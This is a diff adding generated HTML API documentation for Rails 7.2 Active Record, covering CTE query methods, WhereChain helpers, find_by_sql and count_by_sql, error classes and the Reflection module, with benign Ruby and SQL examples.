Post.with(posts_with_tags: Post.where("tags_count > ?", 0))
+# => ActiveRecord::Relation
+# WITH posts_with_tags AS (
+#   SELECT * FROM posts WHERE (tags_count > 0)
+# )
+# SELECT * FROM posts
+
+ +

You can also pass an array of sub-queries to be joined in a +UNION ALL+.

+ +
Post.with(posts_with_tags_or_comments: [Post.where("tags_count > ?", 0), Post.where("comments_count > ?", 0)])
+# => ActiveRecord::Relation
+# WITH posts_with_tags_or_comments AS (
+#  (SELECT * FROM posts WHERE (tags_count > 0))
+#  UNION ALL
+#  (SELECT * FROM posts WHERE (comments_count > 0))
+# )
+# SELECT * FROM posts
+
+ +

Once you define Common Table Expression you can use custom FROM value or JOIN to reference it.

+ +
Post.with(posts_with_tags: Post.where("tags_count > ?", 0)).from("posts_with_tags AS posts")
+# => ActiveRecord::Relation
+# WITH posts_with_tags AS (
+#  SELECT * FROM posts WHERE (tags_count > 0)
+# )
+# SELECT * FROM posts_with_tags AS posts
+
+Post.with(posts_with_tags: Post.where("tags_count > ?", 0)).joins("JOIN posts_with_tags ON posts_with_tags.id = posts.id")
+# => ActiveRecord::Relation
+# WITH posts_with_tags AS (
+#   SELECT * FROM posts WHERE (tags_count > 0)
+# )
+# SELECT * FROM posts JOIN posts_with_tags ON posts_with_tags.id = posts.id
+
+ +

It is recommended to pass a query as ActiveRecord::Relation. If that is not possible and you have verified it is safe for the database, you can pass it as SQL literal using Arel.

+ +
Post.with(popular_posts: Arel.sql("... complex sql to calculate posts popularity ..."))
+
+ +

Great caution should be taken to avoid SQL injection vulnerabilities. This method should not be used with unsafe values that include unsanitized input.

+ +

To add multiple CTEs just pass multiple key-value pairs

+ +
Post.with(
+  posts_with_comments: Post.where("comments_count > ?", 0),
+  posts_with_tags: Post.where("tags_count > ?", 0)
+)
+
+ +

or chain multiple .with calls

+ +
Post
+  .with(posts_with_comments: Post.where("comments_count > ?", 0))
+  .with(posts_with_tags: Post.where("tags_count > ?", 0))
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 486
+    def with(*args)
+      raise ArgumentError, "ActiveRecord::Relation#with does not accept a block" if block_given?
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.with!(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_recursive(*args) + +

+ + +
+

Add a recursive Common Table Expression (CTE) that you can then reference within another SELECT statement.

+ +
Post.with_recursive(post_and_replies: [Post.where(id: 42), Post.joins('JOIN post_and_replies ON posts.in_reply_to_id = post_and_replies.id')])
+# => ActiveRecord::Relation
+# WITH post_and_replies AS (
+#   (SELECT * FROM posts WHERE id = 42)
+#   UNION ALL
+#   (SELECT * FROM posts JOIN posts_and_replies ON posts.in_reply_to_id = posts_and_replies.id)
+# )
+# SELECT * FROM posts
+
+ +

See β€˜#with` for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 510
+    def with_recursive(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.with_recursive!(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + without(*records) + +

+ + +
+ +
+ + + + + +
+ Alias for: excluding +
+ + + + +
+ + +

Instance Protected methods

+ +
+

+ + arel_columns(columns) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1640
+      def arel_columns(columns)
+        columns.flat_map do |field|
+          case field
+          when Symbol
+            arel_column(field.to_s) do |attr_name|
+              adapter_class.quote_table_name(attr_name)
+            end
+          when String
+            arel_column(field, &:itself)
+          when Proc
+            field.call
+          when Hash
+            arel_columns_from_hash(field)
+          else
+            field
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + async!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1634
+      def async!
+        @async = true
+        self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/QueryMethods/WhereChain.html b/src/7.2/classes/ActiveRecord/QueryMethods/WhereChain.html new file mode 100644 index 0000000000..112306a4e6 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/QueryMethods/WhereChain.html @@ -0,0 +1,295 @@ +--- +title: ActiveRecord::QueryMethods::WhereChain +layout: default +--- +
+ +
+
+ +
+ +

WhereChain objects act as placeholder for queries in which where does not have any parameter. In this case, where can be chained to return a new relation.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + associated(*associations) + +

+ + +
+

Returns a new relation with joins and where clause to identify associated relations.

+ +

For example, posts that are associated to a related author:

+ +
Post.where.associated(:author)
+# SELECT "posts".* FROM "posts"
+# INNER JOIN "authors" ON "authors"."id" = "posts"."author_id"
+# WHERE "authors"."id" IS NOT NULL
+
+ +

Additionally, multiple relations can be combined. This will return posts associated to both an author and any comments:

+ +
Post.where.associated(:author, :comments)
+# SELECT "posts".* FROM "posts"
+# INNER JOIN "authors" ON "authors"."id" = "posts"."author_id"
+# INNER JOIN "comments" ON "comments"."post_id" = "posts"."id"
+# WHERE "authors"."id" IS NOT NULL AND "comments"."id" IS NOT NULL
+
+ +

You can define join type in the scope and associated will not use β€˜JOIN` by default.

+ +
 Post.left_joins(:author).where.associated(:author)
+ # SELECT "posts".* FROM "posts"
+ # LEFT OUTER JOIN "authors" "authors"."id" = "posts"."author_id"
+ # WHERE "authors"."id" IS NOT NULL
+
+ Post.left_joins(:comments).where.associated(:author)
+ # SELECT "posts".* FROM "posts"
+ # INNER JOIN "authors" ON "authors"."id" = "posts"."author_id"
+ # LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id"
+#  WHERE "author"."id" IS NOT NULL
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 88
+      def associated(*associations)
+        associations.each do |association|
+          reflection = scope_association_reflection(association)
+          unless @scope.joins_values.include?(reflection.name) || @scope.left_outer_joins_values.include?(reflection.name)
+            @scope.joins!(association)
+          end
+
+          if reflection.options[:class_name]
+            self.not(association => { reflection.association_primary_key => nil })
+          else
+            self.not(reflection.table_name => { reflection.association_primary_key => nil })
+          end
+        end
+
+        @scope
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + missing(*associations) + +

+ + +
+

Returns a new relation with left outer joins and where clause to identify missing relations.

+ +

For example, posts that are missing a related author:

+ +
Post.where.missing(:author)
+# SELECT "posts".* FROM "posts"
+# LEFT OUTER JOIN "authors" ON "authors"."id" = "posts"."author_id"
+# WHERE "authors"."id" IS NULL
+
+ +

Additionally, multiple relations can be combined. This will return posts that are missing both an author and any comments:

+ +
Post.where.missing(:author, :comments)
+# SELECT "posts".* FROM "posts"
+# LEFT OUTER JOIN "authors" ON "authors"."id" = "posts"."author_id"
+# LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id"
+# WHERE "authors"."id" IS NULL AND "comments"."id" IS NULL
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 123
+      def missing(*associations)
+        associations.each do |association|
+          reflection = scope_association_reflection(association)
+          @scope.left_outer_joins!(association)
+          if reflection.options[:class_name]
+            @scope.where!(association => { reflection.association_primary_key => nil })
+          else
+            @scope.where!(reflection.table_name => { reflection.association_primary_key => nil })
+          end
+        end
+
+        @scope
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + not(opts, *rest) + +

+ + +
+

Returns a new relation expressing WHERE + NOT condition according to the conditions in the arguments.

+ +

not accepts conditions as a string, array, or hash. See QueryMethods#where for more details on each format.

+ +
User.where.not("name = 'Jon'")
+# SELECT * FROM users WHERE NOT (name = 'Jon')
+
+User.where.not(["name = ?", "Jon"])
+# SELECT * FROM users WHERE NOT (name = 'Jon')
+
+User.where.not(name: "Jon")
+# SELECT * FROM users WHERE name != 'Jon'
+
+User.where.not(name: nil)
+# SELECT * FROM users WHERE name IS NOT NULL
+
+User.where.not(name: %w(Ko1 Nobu))
+# SELECT * FROM users WHERE name NOT IN ('Ko1', 'Nobu')
+
+User.where.not(name: "Jon", role: "admin")
+# SELECT * FROM users WHERE NOT (name = 'Jon' AND role = 'admin')
+
+ +

If there is a non-nil condition on a nullable column in the hash condition, the records that have nil values on the nullable column won’t be returned.

+ +
User.create!(nullable_country: nil)
+User.where.not(nullable_country: "UK")
+# SELECT * FROM users WHERE NOT (nullable_country = 'UK')
+# => []
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 49
+      def not(opts, *rest)
+        where_clause = @scope.send(:build_where_clause, opts, rest)
+
+        @scope.where_clause += where_clause.invert
+
+        @scope
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Querying.html b/src/7.2/classes/ActiveRecord/Querying.html new file mode 100644 index 0000000000..727a5b7f0c --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Querying.html @@ -0,0 +1,257 @@ +--- +title: ActiveRecord::Querying +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + async_count_by_sql(sql) + +

+ + +
+

Same as #count_by_sql but perform the query asynchronously and returns an ActiveRecord::Promise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/querying.rb, line 116
+    def async_count_by_sql(sql)
+      with_connection do |c|
+        c.select_value(sanitize_sql(sql), "#{name} Count", async: true).then(&:to_i)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + async_find_by_sql(sql, binds = [], preparable: nil, &block) + +

+ + +
+

Same as #find_by_sql but perform the query asynchronously and returns an ActiveRecord::Promise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/querying.rb, line 59
+    def async_find_by_sql(sql, binds = [], preparable: nil, &block)
+      result = with_connection do |c|
+        _query_by_sql(c, sql, binds, preparable: preparable, async: true)
+      end
+
+      result.then do |result|
+        _load_from_sql(result, &block)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + count_by_sql(sql) + +

+ + +
+

Returns the result of an SQL statement that should only include a COUNT(*) in the SELECT part. The use of this method should be restricted to complicated SQL queries that can’t be executed using the ActiveRecord::Calculations class methods. Look into those before using this method, as it could lock you into a specific database engine or require a code change to switch database engines.

+ +
Product.count_by_sql "SELECT COUNT(*) FROM sales s, customers c WHERE s.customer_id = c.id"
+# => 12
+
+ +

Parameters

+
  • +

    sql - An SQL statement which should return a count query from the database, see the example above.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/querying.rb, line 109
+    def count_by_sql(sql)
+      with_connection do |c|
+        c.select_value(sanitize_sql(sql), "#{name} Count").to_i
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_by_sql(sql, binds = [], preparable: nil, allow_retry: false, &block) + +

+ + +
+

Executes a custom SQL query against your database and returns all the results. The results will be returned as an array, with the requested columns encapsulated as attributes of the model you call this method from. For example, if you call Product.find_by_sql, then the results will be returned in a Product object with the attributes you specified in the SQL query.

+ +

If you call a complicated SQL query which spans multiple tables, the columns specified by the SELECT will be attributes of the model, whether or not they are columns of the corresponding table.

+ +

The sql parameter is a full SQL query as a string. It will be called as is; there will be no database agnostic conversions performed. This should be a last resort because using database-specific terms will lock you into using that particular database engine, or require you to change your call if you switch engines.

+ +
# A simple SQL query spanning multiple tables
+Post.find_by_sql "SELECT p.title, c.author FROM posts p, comments c WHERE p.id = c.post_id"
+# => [#<Post:0x36bff9c @attributes={"title"=>"Ruby Meetup", "author"=>"Quentin"}>, ...]
+
+ +

You can use the same string replacement techniques as you can with ActiveRecord::QueryMethods#where :

+ +
Post.find_by_sql ["SELECT title FROM posts WHERE author = ? AND created > ?", author_id, start_date]
+Post.find_by_sql ["SELECT body FROM comments WHERE author = :user_id OR approved_by = :user_id", { :user_id => user_id }]
+
+ +

Note that building your own SQL query string from user input may expose your application to injection attacks (guides.rubyonrails.org/security.html#sql-injection).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/querying.rb, line 51
+    def find_by_sql(sql, binds = [], preparable: nil, allow_retry: false, &block)
+      result = with_connection do |c|
+        _query_by_sql(c, sql, binds, preparable: preparable, allow_retry: allow_retry)
+      end
+      _load_from_sql(result, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/RangeError.html b/src/7.2/classes/ActiveRecord/RangeError.html new file mode 100644 index 0000000000..272134975e --- /dev/null +++ b/src/7.2/classes/ActiveRecord/RangeError.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::RangeError +layout: default +--- +
+ +
+
+ +
+ +

Raised when values that executed are out of range.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ReadOnlyError.html b/src/7.2/classes/ActiveRecord/ReadOnlyError.html new file mode 100644 index 0000000000..2888f051f0 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ReadOnlyError.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::ReadOnlyError +layout: default +--- +
+ +
+
+ +
+ +

Raised when a write to the database is attempted on a read only connection.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ReadOnlyRecord.html b/src/7.2/classes/ActiveRecord/ReadOnlyRecord.html new file mode 100644 index 0000000000..51f4a2eea7 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ReadOnlyRecord.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::ReadOnlyRecord +layout: default +--- +
+ +
+
+ +
+ +

Raised on attempt to update record that is instantiated as read only.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ReadonlyAttributeError.html b/src/7.2/classes/ActiveRecord/ReadonlyAttributeError.html new file mode 100644 index 0000000000..f4949917e2 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ReadonlyAttributeError.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::ReadonlyAttributeError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ReadonlyAttributes.html b/src/7.2/classes/ActiveRecord/ReadonlyAttributes.html new file mode 100644 index 0000000000..e1bb23ceac --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ReadonlyAttributes.html @@ -0,0 +1,67 @@ +--- +title: ActiveRecord::ReadonlyAttributes +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ReadonlyAttributes/ClassMethods.html b/src/7.2/classes/ActiveRecord/ReadonlyAttributes/ClassMethods.html new file mode 100644 index 0000000000..0b4e8e4b56 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ReadonlyAttributes/ClassMethods.html @@ -0,0 +1,157 @@ +--- +title: ActiveRecord::ReadonlyAttributes::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + attr_readonly(*attributes) + +

+ + +
+

Attributes listed as readonly will be used to create a new record. Assigning a new value to a readonly attribute on a persisted record raises an error.

+ +

By setting config.active_record.raise_on_assign_to_attr_readonly to false, it will not raise. The value will change in memory, but will not be persisted on save.

+ +

Examples

+ +
class Post < ActiveRecord::Base
+  attr_readonly :title
+end
+
+post = Post.create!(title: "Introducing Ruby on Rails!")
+post.title = "a different title" # raises ActiveRecord::ReadonlyAttributeError
+post.update(title: "a different title") # raises ActiveRecord::ReadonlyAttributeError
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/readonly_attributes.rb, line 30
+      def attr_readonly(*attributes)
+        self._attr_readonly |= attributes.map(&:to_s)
+
+        if ActiveRecord.raise_on_assign_to_attr_readonly
+          include(HasReadonlyAttributes)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + readonly_attributes() + +

+ + +
+

Returns an array of all the attributes that have been specified as readonly.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/readonly_attributes.rb, line 39
+      def readonly_attributes
+        _attr_readonly
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/RecordInvalid.html b/src/7.2/classes/ActiveRecord/RecordInvalid.html new file mode 100644 index 0000000000..0b7b7c1784 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/RecordInvalid.html @@ -0,0 +1,144 @@ +--- +title: ActiveRecord::RecordInvalid +layout: default +--- +
+ +
+
+ +
+ +

Active Record RecordInvalid

+ +

Raised by ActiveRecord::Base#save! and ActiveRecord::Base#create! when the record is invalid. Use the record method to retrieve the record which did not validate.

+ +
begin
+  complex_operation_that_internally_calls_save!
+rescue ActiveRecord::RecordInvalid => invalid
+  puts invalid.record.errors
+end
+
+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + record
+ + + + +

Class Public methods

+ +
+

+ + new(record = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/validations.rb, line 18
+    def initialize(record = nil)
+      if record
+        @record = record
+        errors = @record.errors.full_messages.join(", ")
+        message = I18n.t(:"#{@record.class.i18n_scope}.errors.messages.record_invalid", errors: errors, default: :"errors.messages.record_invalid")
+      else
+        message = "Record invalid"
+      end
+
+      super(message)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/RecordNotDestroyed.html b/src/7.2/classes/ActiveRecord/RecordNotDestroyed.html new file mode 100644 index 0000000000..e4d63eeed6 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/RecordNotDestroyed.html @@ -0,0 +1,137 @@ +--- +title: ActiveRecord::RecordNotDestroyed +layout: default +--- +
+ +
+
+ +
+ +

Raised by ActiveRecord::Base#destroy! when a record cannot be destroyed due to any of the before_destroy callbacks throwing :abort. See ActiveRecord::Callbacks for further details.

+ +
class User < ActiveRecord::Base
+  before_destroy do
+    throw :abort if still_active?
+  end
+end
+
+User.first.destroy! # => raises an ActiveRecord::RecordNotDestroyed
+
+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + record
+ + + + +

Class Public methods

+ +
+

+ + new(message = nil, record = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 172
+    def initialize(message = nil, record = nil)
+      @record = record
+      super(message)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/RecordNotFound.html b/src/7.2/classes/ActiveRecord/RecordNotFound.html new file mode 100644 index 0000000000..cae5dd84ed --- /dev/null +++ b/src/7.2/classes/ActiveRecord/RecordNotFound.html @@ -0,0 +1,147 @@ +--- +title: ActiveRecord::RecordNotFound +layout: default +--- +
+ +
+
+ +
+ +

Raised when Active Record cannot find a record by given id or set of ids.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + id
+ [R] + model
+ [R] + primary_key
+ + + + +

Class Public methods

+ +
+

+ + new(message = nil, model = nil, primary_key = nil, id = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 126
+    def initialize(message = nil, model = nil, primary_key = nil, id = nil)
+      @primary_key = primary_key
+      @model = model
+      @id = id
+
+      super(message)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/RecordNotSaved.html b/src/7.2/classes/ActiveRecord/RecordNotSaved.html new file mode 100644 index 0000000000..33effb3432 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/RecordNotSaved.html @@ -0,0 +1,137 @@ +--- +title: ActiveRecord::RecordNotSaved +layout: default +--- +
+ +
+
+ +
+ +

Raised by ActiveRecord::Base#save! and ActiveRecord::Base.update_attribute! methods when a record failed to validate or cannot be saved due to any of the before_* callbacks throwing :abort. See ActiveRecord::Callbacks for further details.

+ +
class Product < ActiveRecord::Base
+  before_save do
+    throw :abort if price < 0
+  end
+end
+
+Product.create! # => raises an ActiveRecord::RecordNotSaved
+
+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + record
+ + + + +

Class Public methods

+ +
+

+ + new(message = nil, record = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 151
+    def initialize(message = nil, record = nil)
+      @record = record
+      super(message)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/RecordNotUnique.html b/src/7.2/classes/ActiveRecord/RecordNotUnique.html new file mode 100644 index 0000000000..6bdc26a28c --- /dev/null +++ b/src/7.2/classes/ActiveRecord/RecordNotUnique.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::RecordNotUnique +layout: default +--- +
+ +
+
+ +
+ +

Raised when a record cannot be inserted or updated because it would violate a uniqueness constraint.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Reflection.html b/src/7.2/classes/ActiveRecord/Reflection.html new file mode 100644 index 0000000000..929114f514 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Reflection.html @@ -0,0 +1,74 @@ +--- +title: ActiveRecord::Reflection +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Reflection/ClassMethods.html b/src/7.2/classes/ActiveRecord/Reflection/ClassMethods.html new file mode 100644 index 0000000000..c7bf304809 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Reflection/ClassMethods.html @@ -0,0 +1,326 @@ +--- +title: ActiveRecord::Reflection::ClassMethods +layout: default +--- +
+ +
+
+ +
+ +

Active Record Reflection

+ +

Reflection enables the ability to examine the associations and aggregations of Active Record classes and objects. This information, for example, can be used in a form builder that takes an Active Record object and creates input fields for all of the attributes depending on their type and displays the associations to other objects.

+ +

MacroReflection class has info for AggregateReflection and AssociationReflection classes.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + reflect_on_aggregation(aggregation) + +

+ + +
+

Returns the AggregateReflection object for the named aggregation (use the symbol).

+ +
Account.reflect_on_aggregation(:balance) # => the balance AggregateReflection
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/reflection.rb, line 70
+      def reflect_on_aggregation(aggregation)
+        aggregate_reflections[aggregation.to_sym]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reflect_on_all_aggregations() + +

+ + +
+

Returns an array of AggregateReflection objects for all the aggregations in the class.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/reflection.rb, line 62
+      def reflect_on_all_aggregations
+        aggregate_reflections.values
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reflect_on_all_associations(macro = nil) + +

+ + +
+

Returns an array of AssociationReflection objects for all the associations in the class. If you only want to reflect on a certain association type, pass in the symbol (:has_many, :has_one, :belongs_to) as the first parameter.

+ +

Example:

+ +
Account.reflect_on_all_associations             # returns an array of all associations
+Account.reflect_on_all_associations(:has_many)  # returns an array of all has_many associations
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/reflection.rb, line 111
+      def reflect_on_all_associations(macro = nil)
+        association_reflections = normalized_reflections.values
+        association_reflections.select! { |reflection| reflection.macro == macro } if macro
+        association_reflections
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reflect_on_all_autosave_associations() + +

+ + +
+

Returns an array of AssociationReflection objects for all associations which have :autosave enabled.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/reflection.rb, line 131
+      def reflect_on_all_autosave_associations
+        reflections = normalized_reflections.values
+        reflections.select! { |reflection| reflection.options[:autosave] }
+        reflections
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reflect_on_association(association) + +

+ + +
+

Returns the AssociationReflection object for the association (use the symbol).

+ +
Account.reflect_on_association(:owner)             # returns the owner AssociationReflection
+Invoice.reflect_on_association(:line_items).macro  # returns :has_many
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/reflection.rb, line 122
+      def reflect_on_association(association)
+        normalized_reflections[association.to_sym]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reflections() + +

+ + +
+

Returns a Hash of name of the reflection as the key and an AssociationReflection as the value.

+ +
Account.reflections # => {"balance" => AggregateReflection}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/reflection.rb, line 78
+      def reflections
+        normalized_reflections.stringify_keys
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Reflection/MacroReflection.html b/src/7.2/classes/ActiveRecord/Reflection/MacroReflection.html new file mode 100644 index 0000000000..f663b6fdc9 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Reflection/MacroReflection.html @@ -0,0 +1,380 @@ +--- +title: ActiveRecord::Reflection::MacroReflection +layout: default +--- +
+ +
+
+ +
+ +

Base class for AggregateReflection and AssociationReflection. Objects of AggregateReflection and AssociationReflection are returned by the Reflection::ClassMethods.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + active_record
+ [R] + name

Returns the name of the macro.

+ +

composed_of :balance, class_name: 'Money' returns :balance has_many :clients returns :clients

+ [R] + options

Returns the hash of options used for the macro.

+ +

composed_of :balance, class_name: 'Money' returns { class_name: "Money" } has_many :clients returns {}

+ [R] + scope
+ + + + +

Class Public methods

+ +
+

+ + new(name, scope, options, active_record) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/reflection.rb, line 396
+      def initialize(name, scope, options, active_record)
+        super()
+        @name          = name
+        @scope         = scope
+        @options       = normalize_options(options)
+        @active_record = active_record
+        @klass         = options[:anonymous_class]
+        @plural_name   = active_record.pluralize_table_names ?
+                            name.to_s.pluralize : name.to_s
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + ==(other_aggregation) + +

+ + +
+

Returns true if self and other_aggregation have the same name attribute, active_record attribute, and other_aggregation has an options hash assigned to it.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/reflection.rb, line 448
+      def ==(other_aggregation)
+        super ||
+          other_aggregation.kind_of?(self.class) &&
+          name == other_aggregation.name &&
+          !other_aggregation.options.nil? &&
+          active_record == other_aggregation.active_record
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + autosave=(autosave) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/reflection.rb, line 407
+      def autosave=(autosave)
+        @options[:autosave] = autosave
+        parent_reflection = self.parent_reflection
+        if parent_reflection
+          parent_reflection.autosave = autosave
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compute_class(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/reflection.rb, line 442
+      def compute_class(name)
+        name.constantize
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + klass() + +

+ + +
+

Returns the class for the macro.

+ +

composed_of :balance, class_name: 'Money' returns the Money class has_many :clients returns the Client class

+ +
class Company < ActiveRecord::Base
+  has_many :clients
+end
+
+Company.reflect_on_association(:clients).klass
+# => Client
+
+ +

Note: Do not call klass.new or klass.create to instantiate a new association object. Use build_association or create_association instead. This allows plugins to hook into association object creation.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/reflection.rb, line 430
+      def klass
+        @klass ||= _klass(class_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + scope_for(relation, owner = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/reflection.rb, line 456
+      def scope_for(relation, owner = nil)
+        relation.instance_exec(owner, &scope) || relation
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
